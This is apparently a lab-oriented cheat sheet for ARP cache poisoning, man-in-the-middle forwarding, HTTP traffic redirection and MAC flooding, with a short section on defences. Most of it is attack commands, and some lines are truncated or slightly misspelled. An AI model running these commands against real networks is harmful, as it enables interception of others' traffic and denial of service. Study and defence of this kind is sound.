

ARP ATTACKS & L2 CACHE POISONING CHEATSHEET

1. RECONNAISSANCE & ARP CACHE INSPECTION

<code>ip neighbor show</code>	Display local ARP cache table (IP-to-MAC mappings)
<code>arp -n</code>	Alternative command to view numerical ARP cache entries
<code>ip link show eth0</code>	Display local interface status, MTU, and MAC address
<code>tcpdump -i eth0 -n arp</code>	Monitor live ARP requests and replies on interface
<code>tshark -i eth0 -f "arp"</code>	Capture and dissect detailed ARP protocol packets

2. ARP SPOOFING & CACHE POISONING

<code>arp spoof -i eth0 -t 10.9.0.5 10.9.0.6</code>	Poison host 10.9.0.5 cache claiming to be 10.9.0.6
<code>arp spoof -i eth0 -t 10.9.0.6 10.9.0.5</code>	Poison server 10.9.0.6 cache claiming to be 10.9.0.5
<code>Ether(dst=A_MAC)/ARP(op=1, psrc=B_IP...)</code>	Scapy payload for ARP Request cache poisoning
<code>Ether(dst=A_MAC)/ARP(op=2, psrc=B_IP...)</code>	Scapy payload for unsolicited ARP Reply poisoning
<code>Ether(dst="ff:ff:...")/ARP(op=1...)</code>	Scapy payload for Gratuitous ARP subnet broadcast

3. MAN-IN-THE-MIDDLE (MITM) & PACKET FORWARDING

<code>sysctl -w net.ipv4.ip_forward=1</code>	Enable Kernel IPv4 packet forwarding (MITM mode)
<code>sysctl -w net.ipv4.ip_forward=0</code>	Disable IP packet forwarding (causes Denial of Service)
<code>echo 1 > /proc/sys/net/ipv4/ip_forward</code>	Direct procfs command to enable IPv4 packet forwarding
<code>iptables -t nat -A PREROUTING...</code>	Redirect HTTP traffic to local proxy port during MITM

4. CAM TABLE FLOODING (MAC FLOODING)

<code>macof -i eth0</code>	Flood switch CAM table with thousands of fake MACs
<code>macof -i eth0 -n 5000</code>	Send a specified count (5000) of random MAC frames
<code>macof -i eth0 -s 10.9.0.105</code>	Perform MAC flooding using a fixed source IP address

5. L2 DEFENSES & MITIGATIONS

<code>ip neighbor add IP lladdr MAC dev eth0</code>	Configure a permanent static ARP entry on host
<code>ip neighbor del IP dev eth0</code>	Remove a static or dynamic entry from ARP cache
<code>sysctl net.ipv4.conf.eth0.arp_accept</code>	Controls acceptance of unsolicited ARP replies (0/1)
Dynamic ARP Inspection (DAI)	Switch defense validating ARP against DHCP binding table
Port Security (MAC Limit)	Switch port lockdown restricting max allowed MAC addresses